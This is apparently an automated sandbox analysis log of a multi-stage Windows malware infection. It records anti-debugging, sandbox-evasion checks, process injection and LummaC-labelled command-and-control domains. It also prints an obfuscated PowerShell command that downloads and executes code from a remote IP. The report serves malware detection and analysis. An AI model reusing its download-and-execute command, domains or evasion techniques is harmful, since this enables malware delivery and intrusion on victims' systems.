Source: PING.EXE, 00000023.00000002.2325550728.000001F9FF80B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll/
Source: explorer.exe, 00000024.00000002.2298187569.0000000000E79000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: explorer.exe, 00000024.00000002.2298187569.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2362115221.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363949200.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000002.2449081634.0000000001538000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000002.2449391395.000000000156C000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000003.2446899796.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000003.2447094347.000000000156B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWeP
Source: powershell.exe, 0000002A.00000002.2392378573.000001D3C700A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll=
Source: file.exe, 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.1557782403.00000000010B7000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmp, 93121e2127.exe, 00000032.00000002.2448151612.00000000010F2000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 5b6b36c534.exe, 00000009.00000003.2108563468.00000000016B2000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 00000027.00000002.2339754895.00000133C0598000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: file.exe, 00000000.00000003.1503874277.000000000171C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\Z

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10714
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10772
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_3-10712
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_3-10770

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\explorer.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0557017F rdtsc

0_2_0557017F

Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe

Code function: 40_2_0043B480 LdrInitializeThunk,

40_2_0043B480

Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe

Code function: 20_2_002C8077 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

20_2_002C8077

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 14_2_00C466A8 GetCurrentProcess,GetProcessTimes,memset,GetModuleHandleW,GetProcAddress,LoadLibraryW,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,fputs,fputs,

14_2_00C466A8

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5652B mov eax, dword ptr fs:[00000030h]	0_2_00D5652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5A302 mov eax, dword ptr fs:[00000030h]	0_2_00D5A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EFA302 mov eax, dword ptr fs:[00000030h]	2_2_00EFA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EF652B mov eax, dword ptr fs:[00000030h]	2_2_00EF652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00EFA302 mov eax, dword ptr fs:[00000030h]	3_2_00EFA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00EF652B mov eax, dword ptr fs:[00000030h]	3_2_00EF652B
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002DE1A9 mov edi, dword ptr fs:[00000030h]	20_2_002DE1A9
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002C17D0 mov edi, dword ptr fs:[00000030h]	20_2_002C17D0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002C17D0 mov edi, dword ptr fs:[00000030h]	40_2_002C17D0

Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe

Code function: 20_2_002C9E16 GetProcessHeap,

20_2_002C9E16

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002C8077 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_002C8077
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002C39E5 SetUnhandledExceptionFilter,	20_2_002C39E5
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002C39F1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_002C39F1
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002C2F82 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_002C2F82
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002C8077 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_002C8077
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002C39E5 SetUnhandledExceptionFilter,	40_2_002C39E5
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002C39F1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_002C39F1
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002C2F82 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	40_2_002C2F82

Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_3436.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_6380.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: 8cb1e32b25.exe PID: 6372, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6380, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe

Code function: 20_2_002DE1A9 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

20_2_002DE1A9

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Memory written: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6932 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6932 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6932 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6932 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6932 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6932 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6932 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6932 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6932 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 6932 base: DD0010 value: 00

LummaC encrypted strings found

Source: 93121e2127.exe, 00000032.00000002.2448000675.0000000000F21000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: debonairnukk.xyz
Source: 93121e2127.exe, 00000032.00000002.2448000675.0000000000F21000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: diffuculttan.xyz
Source: 93121e2127.exe, 00000032.00000002.2448000675.0000000000F21000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: effecterectz.xyz
Source: 93121e2127.exe, 00000032.00000002.2448000675.0000000000F21000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: deafeninggeh.biz
Source: 93121e2127.exe, 00000032.00000002.2448000675.0000000000F21000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: immureprech.biz
Source: 93121e2127.exe, 00000032.00000002.2448000675.0000000000F21000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: tacitglibbr.biz

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Thread register set: target process: 6932

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 404000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 406000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: E0C008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 451000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 466000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 46D000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 46E000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 617008

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe "C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe "C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe "C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe "C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe "C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Process created: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe "C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/Z.png'')'; $F=I`E`X ($L,$Y,$V -Join '')\|I`E`X"
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/A.png'')'; $F=I`E`X ($L,$Y,$V -Join '')\|I`E`X"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown

Source: 93121e2127.exe, 00000032.00000002.2448151612.00000000010F2000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: cProgram Manager
Source: file.exe, 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.1558141973.0000000001100000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: {Program Manager

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 14_2_00C4D690 cpuid

14_2_00C4D690

Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016176001\f43f43fc7e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016176001\f43f43fc7e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016177001\d85d1975e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016177001\d85d1975e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016178001\1d6483dfc2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016178001\1d6483dfc2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
